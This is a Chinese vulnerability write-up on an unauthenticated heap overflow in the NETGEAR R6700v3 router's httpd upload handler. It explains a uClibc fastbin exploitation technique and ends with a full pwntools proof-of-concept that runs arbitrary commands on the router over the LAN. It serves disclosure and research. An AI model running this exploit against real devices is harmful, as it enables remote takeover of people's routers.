NETGEAR 路由器中發現堆溢出漏洞
在2019年東京Pwn2Own大會上,無線路由器引入為一個新種類:NETGEAR Nighthawk R6700v3。但該路由存在一些安全隱患,其中包括一個堆溢出漏洞,該漏洞可能允許惡意第三方從局域網控制設備。在這篇文章中,我們將詳細討論這個漏洞,并提供了一個概念驗證的漏洞,且對任何版本V1.0.4.84_10.0.58的路由器可用。
該漏洞存在于受影響設備的httpd服務(/usr/bin/httpd)中。未經身份驗證的攻擊者可以在連接到本地網絡時向HTTPd Web服務發送特制的HTTP請求,這可能導致目標系統的遠程代碼執行,此漏洞可能會導致系統易遭受攻擊。文件上傳功能中存在堆溢出漏洞。
背景
首先,路由器在處理HTTP請求時。Web服務器不會直接80端口上偵聽。而是通過另一個進程作為代理偵聽。這個過程就是NGINX代理。接下來將詳細解釋它的功能:
圖1-sub_159E8函數的執行流程
首先,程序從套接字讀取HTTP請求。然后執行檢查,以確定HTTP請求是否是文件上傳請求的形式。如果該檢查返回false,則調用sub_10DC4函數。該函數負責解析HTTP請求、執行身份驗證、發送請求等等。相反,如果HTTP請求是文件上傳請求的形式,則將執行如X所示的代碼部分。sub_10DC4是處理請求的主要函數。代碼的X部分在這個函數的外面,這應該是我們感興趣的一個地方。
漏洞
如上所述,該漏洞是通過HTTP上傳觸發的。上載請求由端點處理/backup.cgi。在對該功能進行測試的過程中,存在兩個影響該端點的問題。第一個涉及缺少身份驗證檢查。攻擊者無需身份驗證即可上傳新的配置文件。但是,我們無法替換目標的憑據或更改目標系統的設置,因為在應用新的配置設置之前會進行身份驗證檢查。第二個問題是文件上傳功能中的堆溢出漏洞。
易受攻擊的函數將上傳文件的內容復制到攻擊者控制大小的基于堆的緩沖區中。以下是易受攻擊的函數的偽代碼:

圖2-漏洞函數的偽代碼
為了控制基于堆的緩沖區的大小,攻擊者可以利用Content-Length報頭,但這并不簡單,主要有以下原因。
導入配置文件的HTTP請求如下:
圖3-導入配置文件的HTTP請求
HTTP請求必須滿足幾個條件。首先,URI必須包含以下字符串之一:backup.cgi,genierestore.cgi或upgrade_check.cgi。接下來,該請求必須是帶有報頭的multipart / form-data請求name="mtenRestoreCfg。最后,文件名不能為空字符串。但是,HTTP請求必須先傳遞到NGINX代理,然后才能傳給httpd服務。policy_default.confNGNIX代理的配置文件如下:
圖4-NGINX配置
因此,為了繞過NGINX代理,選擇URI:
圖5-繞過代理的URI
在sub_159E8函數中進行文件上傳的處理。從這里,程序從標題中提取Content-Length值:
圖6-內容長度提取
上面的代碼片段首先Content-Length使用stristr函數在整個HTTP請求中定位報頭,然后通過該atoi函數的最小實現,進行循環提取并將報頭的值從字符串轉換為整數:
圖7-將字符串轉換為整數的循環
但是,Content-Length由于NGINX代理,我們不能直接將任意值傳遞給報頭。除了過濾請求之外,代理還重寫請求。它確保該Content-Length值等于發布數據的大小,并將該Content-Length報頭放置在請求的第一個報頭中。因此,我們不能Content-Length在另一個報頭中偽造報頭。但是,提取Content-Length報頭的邏輯是有缺陷的。它對整個HTTP請求執行stristr函數,而不是僅請求報頭!因此,在URI中放置一個Content-Length報頭是可以的,httpd服務如下所示:
圖8-偽造Content-Length值的URI
由于請求行出現在具有上述URI的HTTP報頭之前,因此傳遞到圖7中的代碼的字符串是111 HTTP/1.1。這樣,我們可以完全控制的值Content-Length并觸發整數溢出漏洞。
關于圖7中 atoi的實現,當它遇到非數字字符時并不會停止,而是直至找到換行序列\r\n,并將找到的字符解析為十進制數字。在確定每個字符的數值,會從字符代碼0中減去數字的ASCII字符代碼。0通過解析數字時,此公式將產生期望值9。解析非數字字符時,它將產生無效的結果。例如,當解析空格字符(ASCII 0x20)時,計算的數值是0x20 – 0x30或0xfffffff0。由于計算無效,該字符串111 HTTP/1.1在上面的示例中,最終的計算值是0x896ebfe9!為了控制該值使用了蠻力程序來替代各種 Content-Length值并模擬atoi循環,直到找到合適的值為止。它產生的解為4156559 HTTP/1.1,其值為ffffffe9,這是一個大小合理的負值。
代碼路徑:
圖9-整數溢出漏洞
首先,程序Content-Length使用無符號比較將0的值與0x20017進行比較。如果該值大于0x20017,則將執行地址0x17370處的匯編代碼。然后,存儲在dword_19A08與dword_19A104的值等于0,因為導入配置請求。接下來,程序檢查存儲在中的指針的值dword_1A870C。如果該值不等于零,則此指針所保存的內存將被釋放。然后,程序通過調用malloc傳遞正值Content-Length0x258來分配用于存儲文件內容的內存。結果存儲在中dword_1A870C。因為我們可以完全控制Content-Length的值,所以可以將Content-Length值設置為負數來觸發整數溢出漏洞。
接下來,程序將整個文件內容復制到上面分配的緩沖區中。這將導致堆溢出漏洞。
圖10-堆緩沖區溢出漏洞
注意事項
在制作漏洞利用程序時,需要考慮以下幾點:
-我們有一個堆溢出漏洞,該漏洞使我們可以向堆內存寫入任意數據,包括空字節。
-由于ASLR的實現不佳,堆內存位于恒定地址。
-在系統中使用uClibc。這是glibc的最小libc版本,因此malloc和free函數具有簡單的實現。
-調用memcpy()并實現堆溢出后,sub_21A58()將被調用以返回錯誤頁面。在中sub_21A58(),fopen()稱為打開文件。在中fopen(),malloc()被調用兩次,大小分別為0x60和0x1000。這些分配中的每一個都隨后釋放。總而言之,內存分配和釋放的順序如下:

圖11 –內存分配操作序列
此外,我們可以發送一個導入字符串表請求調用另外一個malloc和free在sub_95AF4()。這是用于計算字符串表上載文件的校驗和的函數。偽代碼如下:

圖12 – sub_95AF4()中的偽代碼
導入字符串表的HTTP請求如下:
圖13-導入字符串表HTTP請求
開發技術
堆緩沖區溢出使我們能夠進行fastbin dup攻擊。“ Fastbin dup”攻擊破壞堆的狀態,因此隨后的調用將malloc返回選定的地址。一旦malloc返回選定地址,可以寫數據到這個地址。覆蓋GOT條目然后產生遠程代碼執行。特別是,我們可以為free()覆蓋GOT條目,將其重定向到system(),以便通過shell執行包含攻擊者提供的緩沖區數據。
但是進行fastbin dup攻擊并不容易,對于每個請求都會發生一個附加的malloc(0x1000)調用。這會產生對__malloc_consolidate()函數的調用,從而破壞fastbin。
如上所述,系統使用uClibc庫,因此free()和malloc()函數與glibc的實現完全不同。看一下free()函數:

圖14 – uClibc中free()的實現
在第22行,在訪問fastbins數組時缺少邊界檢查。這可能導致越界寫入fastbins數組。
檢查malloc_state結構和fastbin_index宏,它們都在malloc.h中定義:

圖15-malloc_state結構和fastbin_index宏定義
該max_fast變量位于fastbins數組的正前面。因此,如果我們將塊的大小設置為8,則當釋放該塊時,fastbin_index(8)將返回-1并且max_fast將被較大值(或指針)覆蓋。當堆正常運行時塊的大小不會是8。這是因為作為塊的一部分的元數據占用8個字節,因此大小為8表示用戶數據為零字節。
一旦max_fast更改為較大的值,__malloc_consolidate()將不再調用malloc(0x1000)。這使我們可以進行fastbin dup攻擊。
總結:
- 發出觸發堆溢出漏洞的請求,覆蓋
PREV_INUSE一個塊的標志,從而錯誤地指示先前的塊是空閑的。 - 由于
PREV_INUSE標志不正確,我們可以malloc()返回與實際現有塊重疊的塊。這使我們可以編輯現有塊的元數據中的size字段,將其設置為無效值 - 當該塊被釋放并放置在fastbin上時,
malloc_stats->max_fast將被較大的值覆蓋。 - 一旦
malloc_stats->max_fast更改,__malloc_consolidate()在調用期間不再調用malloc(0x1000)。這使我們能夠進行fastbin攻擊。 - 再次觸發堆溢出漏洞,
fd使用選定的目標地址覆蓋空閑的fastbin塊的指針。 - 后續調用
malloc()將返回我們選擇的目標地址。我們可以使用它來將所選數據寫入目標地址。 - 使用此“在哪里寫”原語寫入address
free_got_addr。我們寫在那里的數據是system_plt_addr。 - 最后,釋放包含攻擊者提供的字符串的緩沖區時,調用
system()而不是調用free(),進而生成遠程代碼執行。
堆內存的布局和分步利用過程在下面的PoC文件中。
#! /usr/bin/python2
# coding: utf-8
from pwn import *
import copy
import sys
def post_request(path, headers, files):
r = remote(rhost, rport)
request = 'POST %s HTTP/1.1' % path
request += '\r\n'
request += '\r\n'.join(headers)
request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Disposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
post_data += files['filecontent']
request += 'Content-Length: %i\r\n\r\n' % len(post_data)
request += post_data
r.send(request)
sleep(0.5)
r.close()
def make_filename(chunk_size):
return 'a' * (0x1d7 - chunk_size)
def exploit():
path = '/cgi-bin/genie.cgi?backup.cgiContent-Length: 4156559'
headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': d4rkn3ss']
files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
print '[+] malloc 0x28 chunk'
# 00:0000│ 0x103f000 ?— 0x0
# 01:0004│ 0x103f004 ?— 0x29
# 02:0008│ r0 0x103f008 <-- return here
f = copy.deepcopy(files)
f['filename'] = make_filename(0x20)
post_request(path, headers, f)
print '[+] malloc 0x18 chunk'
# 00:0000│ 0x103f000 ?— 0x0
# 01:0004│ 0x103f004 ?— 0x29 /* ')' */
# 02:0008│ 0x103f008
# 03:000c│ 0x103f00c
# ... ↓
# 0a:0028│ 0x103f028
# 0b:002c│ 0x103f02c ?— 0x19
# 0c:0030│ r0 0x103f030 <-- return here
f = copy.deepcopy(files)
f['filename'] = make_filename(0x10)
post_request(path, headers, f)
print '[+] malloc 0x28 chunk and overwrite 0x18 chunk header to make overlap chunk'
# 00:0000│ 0x103eb50 ?— 0x0
# 01:0004│ 0x103eb54 ?— 0x21 <-- recheck
# ... ↓
# 12d:04b4│ 0x103f004 ?— 0x29 /* ')' */
# 12e:04b8│ 0x103f008 ?— 0x61616161 ('aaaa') <-- 0x28 chunk
# ... ↓
# 136:04d8│ 0x103f028 ?— 0x4d8
# 137:04dc│ 0x103f02c ?— 0x18
# 138:04e0│ 0x103f030 ?— 0x0
f = copy.deepcopy(files)
f['filename'] = make_filename(0x20)
f['filecontent'] = 'a' * 0x20 + p32(0x4d8) + p32(0x18)
post_request(path, headers, f)
print '[+] malloc 0x4b8 chunk and overwrite size of 0x28 chunk -> 0x9. Then, when __malloc_consolidate() function is called, __malloc_state->max_fast will be overwritten to a large value.'
# 00:0000│ 0x103eb50 ?— 0x0
# 01:0004│ 0x103eb54 ?— 0x4f1
# ... ↓
# 12d:04b4│ 0x103f004 ?— 0x9
# 12e:04b8│ 0x103f008
# ... ↓
# 136:04d8│ 0x103f028 ?— 0x4d8
# 137:04dc│ 0x103f02c ?— 0x18
# 138:04e0│ 0x103f030 ?— 0x0
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
f['filecontent'] = p32(0x4b0).ljust(0x10) + 'a' * 0x4ac + p32(0x9)
post_request('/strtblupgrade.cgi.css', headers, f)
print '[+] malloc 0x18 chunk'
# 00:0000│ 0x10417a8 ?— 0xdfc3a88e
# 01:0004│ 0x10417ac ?— 0x19
# 02:0008│ r0 0x10417b0 <-- return here
f = copy.deepcopy(files)
f['filename'] = make_filename(0x10)
post_request(path, headers, f)
print '[+] malloc 0x38 chunk'
# 00:0000│ 0x103e768 ?— 0x4
# 01:0004│ 0x103e76c ?— 0x39 /* '9' */
# 02:0008│ r0 0x103e770 <-- return here
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
f['filecontent'] = p32(0x30).ljust(0x10) + 'a'
post_request('/strtblupgrade.cgi.css', headers, f)
print '[+] malloc 0x48 chunk'
# 00:0000│ 0x103e768 ?— 0x4
# 01:0004│ 0x103e76c ?— 0x39 /* '9' */
# 02:0008│ r0 0x103e770
# ... ↓
# 0e:0038│ 0x103e7a0
# 0f:003c│ 0x103e7a4 ?— 0x49 /* 'I' */
# 10:0040│ r0 0x103e7a8 <-- return here
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
f['filecontent'] = p32(0x40).ljust(0x10) + 'a'
post_request('/strtblupgrade.cgi.css', headers, f)
print '[+] malloc 0x38 chunk and overwrite fd pointer of 0x48 chunk'
# 00:0000│ 0x103e768 ?— 0x4 <-- 0x38 chunk
# 01:0004│ 0x103e76c ?— 0x39 /* '9' */
# 02:0008│ 0x103e770 ?— 0x0
# 03:000c│ 0x103e774 ?— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaI'
# ... ↓
# 0f:003c│ 0x103e7a4 ?— 0x49 /* 'I' */ <-- 0x48 chunk
# 10:0040│ 0x103e7a8 —? 0xf555c (semop@got.plt)
free_got_addr = 0xF559C
f = copy.deepcopy(files)
f['filename'] = make_filename(0x30)
f['filecontent'] = 'a' * 0x34 + p32(0x49) + p32(free_got_addr - 0x40)
post_request(path, headers, f)
print '[+] malloc 0x48 chunk'
# 00:0000│ 0x103e7a0 ?— 'aaaaI'
# 01:0004│ 0x103e7a4 ?— 0x49 /* 'I' */
# 02:0008│ r0 0x103e7a8 <-- return here
f = copy.deepcopy(files)
f['filename'] = make_filename(0x40)
post_request(path, headers, f)
print '[+] malloc 0x48 chunk. And overwrite free_got_addr'
# 00:0000│ 0xf555c (semop@got.plt) —? 0x403b6894 (semop) ?— push {r3, r4, r7, lr}
# 01:0004│ 0xf5560 (__aeabi_idiv@got.plt) —? 0xd998 ?— str lr, [sp, #-4]!
# 02:0008│ r0 0xf5564 (strstr@got.plt) —? 0x403c593c (strstr) ?— push {r4, lr} <-- return here
system_addr = 0xDBF8
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
f['filecontent'] = p32(0x40).ljust(0x10) + command.ljust(0x38, '') + p32(system_addr)
post_request('/strtblupgrade.cgi.css', headers, f)
print '[+] Done'
if __name__ == '__main__':
context.log_level = 'error'
if (len(sys.argv) < 4):
print 'Usage: %s <rhost> <rport> <command>' % sys.argv[0]
exit()
rhost = sys.argv[1]
rport = sys.argv[2]
command = sys.argv[3]
exploit()
針對這些問題,NETGEAR計劃發布固件更新,官方網站提供Bata修復程序的下載,修復所有受影響產品的漏洞。